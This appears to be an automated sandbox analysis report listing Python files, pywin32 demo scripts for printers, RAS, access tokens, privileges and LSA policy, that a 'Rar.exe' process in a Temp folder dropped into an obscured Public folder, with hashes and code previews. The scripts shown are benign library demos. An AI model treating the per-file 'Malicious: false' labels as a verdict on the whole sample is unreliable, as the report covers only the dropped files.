SHA-512:	F8492FE12112BA5F792D30E733F7530D40F1B0A4E39A2970CD70B3785B3EE68B3CF86B1E8DFFEDD949F1CE4718AA80CEC2E433076D416E6B9E2C71273A5C3968
Malicious:	false
Reputation:	low
Preview:	import pywintypes.import win32api.import win32con.import win32gui.import win32print..pname = win32print.GetDefaultPrinter().print(pname).p = win32print.OpenPrinter(pname).print("Printer handle: ", p).print_processor = win32print.GetPrinter(p, 2)["pPrintProcessor"].## call with last parm set to 0 to get total size needed for printer's DEVMODE.dmsize = win32print.DocumentProperties(0, p, pname, None, None, 0).## dmDriverExtra should be total size - fixed size.driverextra = (. dmsize - pywintypes.DEVMODEType().Size.) ## need a better way to get DEVMODE.dmSize.dm = pywintypes.DEVMODEType(driverextra).dm.Fields = dm.Fields \| win32con.DM_ORIENTATION \| win32con.DM_COPIES.dm.Orientation = win32con.DMORIENT_LANDSCAPE.dm.Copies = 2.win32print.DocumentProperties(. 0, p, pname, dm, dm, win32con.DM_IN_BUFFER \| win32con.DM_OUT_BUFFER.)..pDC = win32gui.CreateDC(print_processor, pname, dm).printerwidth = win32print.GetDeviceCaps(pDC, win32con.PHYSICALWIDTH).printerheight = win32print.GetDeviceC

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\rastest.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5119
Entropy (8bit):	4.511953665676077
Encrypted:	false
SSDEEP:	96:wIXZgAxi7KRWyEAkFY564o3qwi0JjfcAfB++IsYZ+zi:wIJ1A7cWyExOdo3qsjUAfB++UUi
MD5:	347610E8C7711F155A18C0D2F7C0352B
SHA1:	85807052AA60E4B5C373A4F58247F28D17687127
SHA-256:	7E0672B7B0DECDB4DE70FD6E60310F2C7680B6BB72637532CF9B1F7309C87C25
SHA-512:	74166363C0DF4D2E2AFE037DE405E964F57BD50DD5464D749861C46C4E1031969D13D62286283EA4EF202E04846DF86E34EEA47F554CDD259622185075975483
Malicious:	false
Reputation:	low
Preview:	# rastest.py - test/demonstrate the win32ras module..# Much of the code here contributed by Jethro Wright...import os.import sys..import win32ras..# Build a little dictionary of RAS states to decent strings..# eg win32ras.RASCS_OpenPort -> "OpenPort".stateMap = {}.for name, val in list(win32ras.__dict__.items()):. if name[:6] == "RASCS_":. stateMap[val] = name[6:]..# Use a lock so the callback can tell the main thread when it is finished..import win32event..callbackEvent = win32event.CreateEvent(None, 0, 0, None)...def Callback(hras, msg, state, error, exterror):. # print "Callback called with ", hras, msg, state, error, exterror. stateName = stateMap.get(state, "Unknown state?"). print("Status is %s (%04lx), error code is %d" % (stateName, state, error)). finished = state in [win32ras.RASCS_Connected]. if finished:. win32event.SetEvent(callbackEvent). if error != 0 or int(state) == win32ras.RASCS_Disconnected:. # we know for sure t

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\GetTokenInformation.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3738
Entropy (8bit):	4.905364376160403
Encrypted:	false
SSDEEP:	96:wbyTs6+DD1B+xkMJ6g09u1n5B82lHIOt8qtbvGAB2qX60:ti1B6kw702n5B82lHIvWNB2260
MD5:	7B913DC758A779FFDDEA7E0D37EBE7A5
SHA1:	663C68C7B556954444E5B5BAA991578B85A43871
SHA-256:	482D57BCEB5C175FFDB0C2BE6CD25CEF2131D8F327B47926C7DA699DB9A89A80
SHA-512:	C500AAB1BCD3DD9F005A65A173C0D0B63823952CE864BD0F4C10C44C549A86B02E437218720327E187C457666D5C94A2EFDE25A20E70BC4B62EC4655D44734DF
Malicious:	false
Reputation:	low
Preview:	""" Lists various types of information about current user's access token,. including UAC status on Vista."""..import pywintypes.import win32api.import win32con.import win32security.import winerror.from security_enums import (. SECURITY_IMPERSONATION_LEVEL,. TOKEN_ELEVATION_TYPE,. TOKEN_GROUP_ATTRIBUTES,. TOKEN_PRIVILEGE_ATTRIBUTES,. TOKEN_TYPE,.)...def dump_token(th):. token_type = win32security.GetTokenInformation(th, win32security.TokenType). print("TokenType:", token_type, TOKEN_TYPE.lookup_name(token_type)). if token_type == win32security.TokenImpersonation:. imp_lvl = win32security.GetTokenInformation(. th, win32security.TokenImpersonationLevel. ). print(. "TokenImpersonationLevel:",. imp_lvl,. SECURITY_IMPERSONATION_LEVEL.lookup_name(imp_lvl),. ).. print(. "TokenSessionId:",. win32security.GetTokenInformation(th, win32security.TokenSessionId),. ).. privs = win

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\account_rights.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	5.2466444341148915
Encrypted:	false
SSDEEP:	24:1hmZwhp2hVJhBhh/zznnPUMSdDa4MYC/pkCO73AgELLGmrG73AKNn:13hcrJnhJ3nnPPSNXMYC/mEgELLwEYn
MD5:	A8EB3625681C9A6CC94C98E822B01430
SHA1:	866FD6D4341E8063991E151E331790C267719092
SHA-256:	16CA9F905009A0526D1D5ED466271F86F4F75663AE2E6AE7DA22A5E5AA585CDF
SHA-512:	C33BB12877845E24DA0529F2C2CE99B82DC5F83312D027E2FCBD7CF22B7441E205BFB3E508293E73D7F4C95ECC4FF79F8C2092720E6CD19A5B98A1F59CCC1628
Malicious:	false
Reputation:	low
Preview:	import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from security_enums import ACCESS_MODE, ACE_FLAGS, TRUSTEE_FORM, TRUSTEE_TYPE..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", "SeEnableDelegationPrivilege"),. win32con.SE_PRIVILEGE_ENABLED,. ), ##doesn't seem to be in ntsecuritycon.py ?.)..ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS.) ##win32con.TOKEN_ADJUST_PRIVILEGES).win32security.AdjustTokenPrivileges(th, 0, new_privs)..policy_handle = win32security.GetPolicyHandle("", win32security.POLICY_ALL_ACCESS).tmp_sid = win32security.LookupAccountName("", "tmp")[0]..privs = [. ntsecuri

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\explicit_entries.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	5.24705878297574
Encrypted:	false
SSDEEP:	96:8FBrRcYK5NhJ3PqF5VjhInHnp7PWKqocmucmPcmwcm9cmFcmZcmRcm3wK:Or+YK5NhJ/qHcnHp7PWKqocmucmPcmwb
MD5:	ECA138C7B9FBBEDA6649E1E09F0DF95D
SHA1:	D396A7CF23F109CC687B2D65A39EBC8631D5501B
SHA-256:	9A5B596AB47503F4E5FCB0D02D1B21C1AD94F1F036B981A99F4FE9C8501CA139
SHA-512:	1600C901014A6FCA6CCA41EAC797A6FA340E994D8613130074E2872FF294B09A6B76916A732DB31CF50E941591DCC12BB8BEC5D4494921AA67AFBBDCBAB6A2C3
Malicious:	false
Reputation:	low
Preview:	import os..import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from security_enums import ACCESS_MODE, ACE_FLAGS, TRUSTEE_FORM, TRUSTEE_TYPE..fname = os.path.join(win32api.GetTempPath(), "win32security_test.txt").f = open(fname, "w").f.write("Hello from Python\n").f.close().print("Testing on file", fname)..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win3

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\get_policy_info.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	4.826107186911052
Encrypted:	false
SSDEEP:	24:1dVaWnVQMN4MvDZriSrxC8rrkiQOIiThZUIiCZfpirjFNn:1zXvDnxC8rVUYf8jzn
MD5:	474FBFA718653659E1E7041B60B5CDC1
SHA1:	BDAD73C99EBB28EB782B81F6B9365C8D9F53A429
SHA-256:	EE3264A6EA5BC3EF455DB3B1308E6D6EFD153736B3864C6AFFE3CF83A4C1DD29
SHA-512:	952543CA9A75A9D3F3CB0B6C573AE1CA58849370EF5FD4D3A2A5D3DB6BEBAADC54EE226C317F8C9DE1C6C101BE4DB82F692D284C722D3873ED82F9405B1660AE
Malicious:	false
Reputation:	low
Preview:	import ntsecuritycon.import win32api.import win32file.import win32security..policy_handle = win32security.GetPolicyHandle("rupole", win32security.POLICY_ALL_ACCESS)..## mod_nbr, mod_time = win32security.LsaQueryInformationPolicy(policy_handle,win32security.PolicyModificationInformation).## print mod_nbr, mod_time..(. domain_name,. dns_domain_name,. dns_forest_name,. domain_guid,. domain_sid,.) = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyDnsDomainInformation.).print(domain_name, dns_domain_name, dns_forest_name, domain_guid, domain_sid)..event_audit_info = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyAuditEventsInformation.).print(event_audit_info)..domain_name, sid = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyPrimaryDomainInformation.).print(domain_name, sid)..domain_name, sid = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyAccou

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\list_rights.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1142
Entropy (8bit):	5.222962792869748
Encrypted:	false
SSDEEP:	24:1hmZwhp2hVJhBhh/zznnPUMSdDabSsQZ8Nn:13hcrJnhJ3nnPPSN88qn
MD5:	3C91061F858441D3452E1DF39EA29436
SHA1:	1F0B24F95ADB0023492501653F89647D4AA4AE1F
SHA-256:	68A481C6BCD6FCDA88A0C957BFDF2CEFDAEE895E4FD1E61C00FF24792095A883
SHA-512:	64C9FA96B29218FE2E8F408633A4E4F76A4B2D5167DE27B4DBA5B11C357D6AA80313C6C5E6079FD77F453C1FD6021DE13BEDDEE61EE0373FF8F4E35FCD0A0152
Malicious:	false
Reputation:	low
Preview:	import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from security_enums import ACCESS_MODE, ACE_FLAGS, TRUSTEE_FORM, TRUSTEE_TYPE..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", "SeEnableDelegationPrivilege"),. win32con.SE_PRIVILEGE_ENABLED,. ), ##doesn't seem to be in ntsecuritycon.py ?.)..ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS.) ##win32con.TOKEN_ADJUST_PRIVILEGES).win32security.AdjustTokenPrivileges(th, 0, new_privs)..policy_handle = win32security.GetPolicyHandle("", win32security.POLICY_ALL_ACCESS)..sidlist = win32security.LsaEnumerateAccountsWithUserRight(. policy_handle,

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\localized_names.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2014
Entropy (8bit):	4.963463813027583
Encrypted:	false
SSDEEP:	48:5mRAZ3dglAepb18kfCy6Tq/wjRRzCNXd4mskDTq/deI3YG9P1Oi:5mmVdgR85MwjRRzCAfKMdbYG99Oi
MD5:	42D316038232ACEB8893229577D4388C
SHA1:	100EDC412265A66533472CC3117FCCB93866E1E2
SHA-256:	774AA56DBC4A7E982740EF586FC1A12584591D8B5EACC00E9E7FCEE81691A3B0
SHA-512:	0502AB71542AE07E451BE1EBCBE8755785D915F1F1AB16D3181EB03FB359A17353418767EEC64F5AB66B20EB41C97977B244EAEA32FBA8CB237D3AAA2556D71F
Malicious:	false
Reputation:	low
Preview:	# A Python port of the MS knowledge base article Q157234.# "How to deal with localized and renamed user and group names".# http://support.microsoft.com/default.aspx?kbid=157234..import sys..import pywintypes.from ntsecuritycon import *.from win32net import NetUserModalsGet.from win32security import LookupAccountSid...def LookupAliasFromRid(TargetComputer, Rid):. # Sid is the same regardless of machine, since the well-known. # BUILTIN domain is referenced.. sid = pywintypes.SID(). sid.Initialize(SECURITY_NT_AUTHORITY, 2).. for i, r in enumerate((SECURITY_BUILTIN_DOMAIN_RID, Rid)):. sid.SetSubAuthority(i, r).. name, domain, typ = LookupAccountSid(TargetComputer, sid). return name...def LookupUserGroupFromRid(TargetComputer, Rid):. # get the account domain Sid on the target machine. # note: if you were looking up multiple sids based on the same. # account domain, only need to call this once.. umi2 = NetUserModalsGet(TargetComputer, 2). domain_sid

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\lsaregevent.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	532
Entropy (8bit):	4.892813022065808
Encrypted:	false
SSDEEP:	12:4LeLhsLM5eLUSWKUHXAV/FTMNFSs4PNLAXKCJZplNPQM3AV/Fp:Z9c10HXAQFSflUzXplNxA1
MD5:	7FE72D1C66C68BF2236E8E5B4E06AD82
SHA1:	EAC9ACD7D5E552EDBC404028CAA862CD39574F23
SHA-256:	635057C3AFDD79AA63C70008E849DBE16DE3C3F0C42E46756AD66B3AC8B3A555
SHA-512:	FFC8ECB562BA19C51885C3BDFC7DFAEE8C76BF548E7F947B9637BAB7CAB7FD8384BED963EB3D62915ADDBA672AE283BCF25AD752F582E8DF762E014457B0711B
Malicious:	false
Reputation:	low
Preview:	import win32event.import win32security..evt = win32event.CreateEvent(None, 0, 0, None).win32security.LsaRegisterPolicyChangeNotification(. win32security.PolicyNotifyAuditEventsInformation, evt.).print("Waiting for you change Audit policy in Management console ...").ret_code = win32event.WaitForSingleObject(evt, 1000000000).## should come back when you change Audit policy in Management console ....print(ret_code).win32security.LsaUnregisterPolicyChangeNotification(. win32security.PolicyNotifyAuditEventsInformation, evt.).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\lsastore.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	472
Entropy (8bit):	4.864220721097227
Encrypted:	false
SSDEEP:	12:4LM8ahSBkwMouLHPooPWBJvFlqo+/vokBLn5SWPooSK+wZ9vn:0aMXuUo+jv7avxUoZNn
MD5:	39AC2663BCC3306EC873C140CAE98CD7
SHA1:	DE14DA2DCEA2D2DCCC06323E81C2C4A58602CD36
SHA-256:	737176D134E0A8117D2AB9539CAB55D7D30BCF7E2ADD7F7C6B3BF65409B8256F
SHA-512:	6F72B6911C916E7DE0FC27F57618464150A2A1934E427B8BBFE1131EC574FFA6619AED33E1583520140B0B66DFB039329B0683AF0FBCD8965B6223A3E54108B3
Malicious:	false
Reputation:	low
Preview:	import win32security..policy_handle = win32security.GetPolicyHandle("", win32security.POLICY_ALL_ACCESS).privatedata = "some sensitive data".keyname = "tmp".win32security.LsaStorePrivateData(policy_handle, keyname, privatedata).retrieveddata = win32security.LsaRetrievePrivateData(policy_handle, keyname).assert retrieveddata == privatedata..## passing None deletes key.win32security.LsaStorePrivateData(policy_handle, keyname, None).win32security.LsaClose(policy_handle).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\query_information.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	791
Entropy (8bit):	4.8217987561958005
Encrypted:	false
SSDEEP:	12:4LzLM4L7+hpoS4ZfpKlzl4ryZCSYyGLPhs0KGbG+Jpt4eWd3uvaCTJTF72pOM:KujqM1l4yHY7sHKvJptn5NTJFipf
MD5:	36AE55ECA7E61DD9D9A9EB3CE6634D26
SHA1:	E8D7F767A8C2F23A7550EC885A9CD2E631D01068
SHA-256:	DFB854F3D6FFBCC306FA74A9F88DAAE17C669C018D1E4A40AD939DA9F497D043
SHA-512:	357D4D360A781292C9DDD89149A446A1909B0DEF0EBE38087A37B3C3F86F708548089B994BF3EFC3953171E44D02C690956848AFEF796EB5D12E303BEF034036
Malicious:	false
Reputation:	low
Preview:	import win32api.import win32security.import winerror.from ntsecuritycon import *...# This is a Python implementation of win32api.GetDomainName().def GetDomainName():. try:. tok = win32security.OpenThreadToken(win32api.GetCurrentThread(), TOKEN_QUERY, 1). except win32api.error as details:. if details[0] != winerror.ERROR_NO_TOKEN:. raise. # attempt to open the process token, since no thread token. # exists. tok = win32security.OpenProcessToken(win32api.GetCurrentProcess(), TOKEN_QUERY). sid, attr = win32security.GetTokenInformation(tok, TokenUser). win32api.CloseHandle(tok).. name, dom, typ = win32security.LookupAccountSid(None, sid). return dom...if __name__ == "__main__":. print("Domain name is", GetDomainName()).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\regsave_sa.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	5.320880029428467
Encrypted:	false
SSDEEP:	48:Z57cjK3KmpnnPkS3NothAlWfwuMJXej9P7:z7cjYKmpPpdiPUF4x7
MD5:	6839DCBAFD537FCD03128D64D6DDAF88
SHA1:	1230CA9595A5556C8BEFD6E7F343499F86634C95
SHA-256:	7AE2098259C3EE6535460E061202B7345E6884EF561231E4D8505DA90A573554
SHA-512:	97A5744424DCC879947F10FC1A375CCA988A5A49A486D53744223ED64AC9E00F94731D4A033BB47EFF69432265CE8F091858C5DEC43C4B84D5EE42A8FAA17E09
Malicious:	false
Reputation:	low
Preview:	fname = "h:\\tmp.reg"..import os..import ntsecuritycon.import pywintypes.import win32api.import win32con.import win32security..## regsave will not overwrite a file.if os.path.isfile(fname):. os.remove(fname)..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_BACKUP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS \| win32con.TOKEN_ADJUST_PRIVILEGES.).win32security.AdjustTokenPrivileges(th, 0, new_privs).my_sid = win32security.GetTokenInformation(th, ntse

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\regsecurity.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	5.34664595251249
Encrypted:	false
SSDEEP:	24:14p2hdh8pnnPkShpotD3aWwHVsfrJKT/MAbhcgWGQRTv:14cjmpnnPkSHot2GfdEMAbhcgWr9
MD5:	2C220CB380A755404147D2E3BA4C5011
SHA1:	8FC74D6B17D8ABE8B70F9B2A2253D1D945B6F2FE
SHA-256:	F7F632E99DBDE61350D2A3184AE49DE93FF288D087EEA9221476B1487947F095
SHA-512:	BC1DB9C209C723BC943C13888CE202282E24E30105433304017CD22F9DD7DE852F895AA973D01C559B492184B82B7761304B53B065D07A244559C437FDCAB6D9
Malicious:	false
Reputation:	low
Preview:	import ntsecuritycon.import win32api.import win32con.import win32security..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS \| win32con.TOKEN_ADJUST_PRIVILEGES.)..win32security.AdjustTokenPrivileges(th, 0, new_privs).hkey = win32api.RegOpenKey(. win32con.HKEY_LOCAL_MACHINE, None, 0, win32con.KEY_ALL_ACCESS.).win32api.RegCreateKey(hkey, "SYSTEM\\NOTMP").notmpkey = win32api.RegOpenKey(. hkey, "SYSTEM\\notmp", 0, win32con.ACCESS_SYSTEM_SECURITY.)..tmp_sid = win32security.LookupAccountName("", "tmp")[0].sacl = win32security.ACL().sacl.AddAuditAccessAce(win32security.ACL_REVISION, win32con.GENERIC_ALL, tmp_sid, 1, 1)..sd = win32security.SECURITY_DESCRIPTOR

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\sa_inherit.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.121297598616513
Encrypted:	false
SSDEEP:	6:kRWL/ReuCjpEBXVjRRBxarV24/2lgHg1g3/2lCRBLnH:kwLMuCyFjRMrVV+lgIgulOr
MD5:	585C9D69157820F89A295C77539CC0A7
SHA1:	2BF372C54C793C22FD252A31687F20B32ED1D40E
SHA-256:	07368D5693F1F59A9A75B0B8019622EF0C13686CF769F7A6FCF11C8298F9D6B7
SHA-512:	531A9CB035B034D5A51207FE39FA458D47E5AFF76A13B750AD4F9C4FD13E8E45A57EF9D1D39132D8699D39459204D255A773428C9509481A3E4DA4F0A3F9B3E7
Malicious:	false
Reputation:	low
Preview:	import pywintypes.import win32security..sa = pywintypes.SECURITY_ATTRIBUTES().tmp_sid = win32security.LookupAccountName("", "tmp")[0].sa.SetSecurityDescriptorOwner(tmp_sid, 0).sid = sa.SECURITY_DESCRIPTOR.GetSecurityDescriptorOwner().print(win32security.LookupAccountSid("", sid)).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\security_enums.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9455
Entropy (8bit):	5.099713879626992
Encrypted:	false
SSDEEP:	192:obgfeul5n5WEfqvrV9f0V2dVElGv6/cAc1lFblMQ/1978KOeVb21BbeAqlbxN4xT:o/fl2x
MD5:	1022B8A344444AE8ED0CE8B28B63B356
SHA1:	89F0A09E8B9A4BE32C6062F42BE4ABE7115BD6F2
SHA-256:	91BA21A23BF7AB044F49A8E7E7264ACFF0109DE3281D30969BED0FFCFE4FC6B0
SHA-512:	2706E6EDC6983E86BFA1CDF6777881254ABBF7359CF41D74D68C7E586E0DE294576F6F4DEB7628155CC339E2155A8D41E2137291B2AA22BBB6A75C1AA8565EE9
Malicious:	false
Reputation:	low
Preview:	import ntsecuritycon.import win32security.import winnt...class Enum:. def __init__(self, *const_names):. """Accepts variable number of constant names that can be found in either. win32security, ntsecuritycon, or winnt.""". for const_name in const_names:. try:. const_val = getattr(win32security, const_name). except AttributeError:. try:. const_val = getattr(ntsecuritycon, const_name). except AttributeError:. try:. const_val = getattr(winnt, const_name). except AttributeError:. raise AttributeError(. 'Constant "%s" not found in win32security, ntsecuritycon, or winnt.'. % const_name. ). setattr(self, const_name, const_val).. def lookup_name(self, const_val):. """Looks up the name of a particular value.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\set_file_audit.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3372
Entropy (8bit):	5.295959335066199
Encrypted:	false
SSDEEP:	96:J+cKmpPpEf/gnFU3KSb5a89KmZywFVF1f1isGGoa:JzKmVp50b/tV
MD5:	2DB725B308FF772F50BC84EF9809EE40
SHA1:	86ED4BA5FCE949AFCBCA967733867231A023521A
SHA-256:	DBC8B5F7C6D4F28D6506703A110BBD452FB4231B4127281223A44D8E79CE5CFC
SHA-512:	ABAB163113EE68A20BF70B1A89BF01CF3A4EC512F0299B671BF68DBC48BD62F41E052AB8C3EA1EA02C96973A2DF62F51B0BA27BB3A11BE55A20F3B093FC7E89E
Malicious:	false
Reputation:	low
Preview:	import os..import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from win32security import (. ACL_REVISION_DS,. CONTAINER_INHERIT_ACE,. DACL_SECURITY_INFORMATION,. GROUP_SECURITY_INFORMATION,. OBJECT_INHERIT_ACE,. OWNER_SECURITY_INFORMATION,. PROTECTED_DACL_SECURITY_INFORMATION,. SACL_SECURITY_INFORMATION,. SE_FILE_OBJECT,.)..## SE_SECURITY_NAME needed to access SACL, SE_RESTORE_NAME needed to change owner to someone other than yourself.new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS \| win32con.TOKEN_ADJUST_PRIVILEGES.).modified_privs = win32security.AdjustTokenPrivileges(th, 0, new_privs

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\set_file_owner.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2258
Entropy (8bit):	5.257866200243561
Encrypted:	false
SSDEEP:	24:xIhkp2h2hdh8hLhVJhBhh/zznnPkSubzUrxL+5JwcyM2iUrEkI0B:K2cYjK5rJnhJ3nnPkSqwwXwcyMXUIE
MD5:	FDFAC9188A86C2D91EC792520151731A
SHA1:	CB6EF5643BF3DBCA85EF4001215ABDDECC14D0B3
SHA-256:	CDC4E5B7AE77D537E930D42288E2DA434FB5C7AE2E8FCF6F6CAB433E62100228
SHA-512:	CB0A01D281A0C9D8E273F0D16D3364BE61A034233485B86471FB466DD4151EFDBE3750FED7BD8EC5DD12C29129EF8B93A873BF878A0D58B3B0A6E35C378EB3CC
Malicious:	false
Reputation:	low
Preview:	fname = r"h:\tmp.txt"..import ntsecuritycon.import win32api.import win32con.import win32file.import win32security..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", "SeEnableDelegatio

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\set_policy_info.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	965
Entropy (8bit):	5.211924428673646
Encrypted:	false
SSDEEP:	24:1dVaWGkiQ+MpbSBWxGftBaIftBNIfWwr12rNn:1ztpSBHBacBN1A2Bn
MD5:	ECF5691E717B094357E941118E31434C
SHA1:	A6749854996DB82308E0D8C0A3AC1372FC67FF48
SHA-256:	E5D33C48D397F60FF60F9A5C6F0425C4FB2A8669320C8D14ACF4F430C239440A
SHA-512:	3426EE7152F575B329E24B6F2D7FD5C8044DDBDB3A63108235813F523C77020C0303F5F0ED1F25914BF908648F1183700695C728384B41D2225BE4799D11E80F
Malicious:	false
Reputation:	low
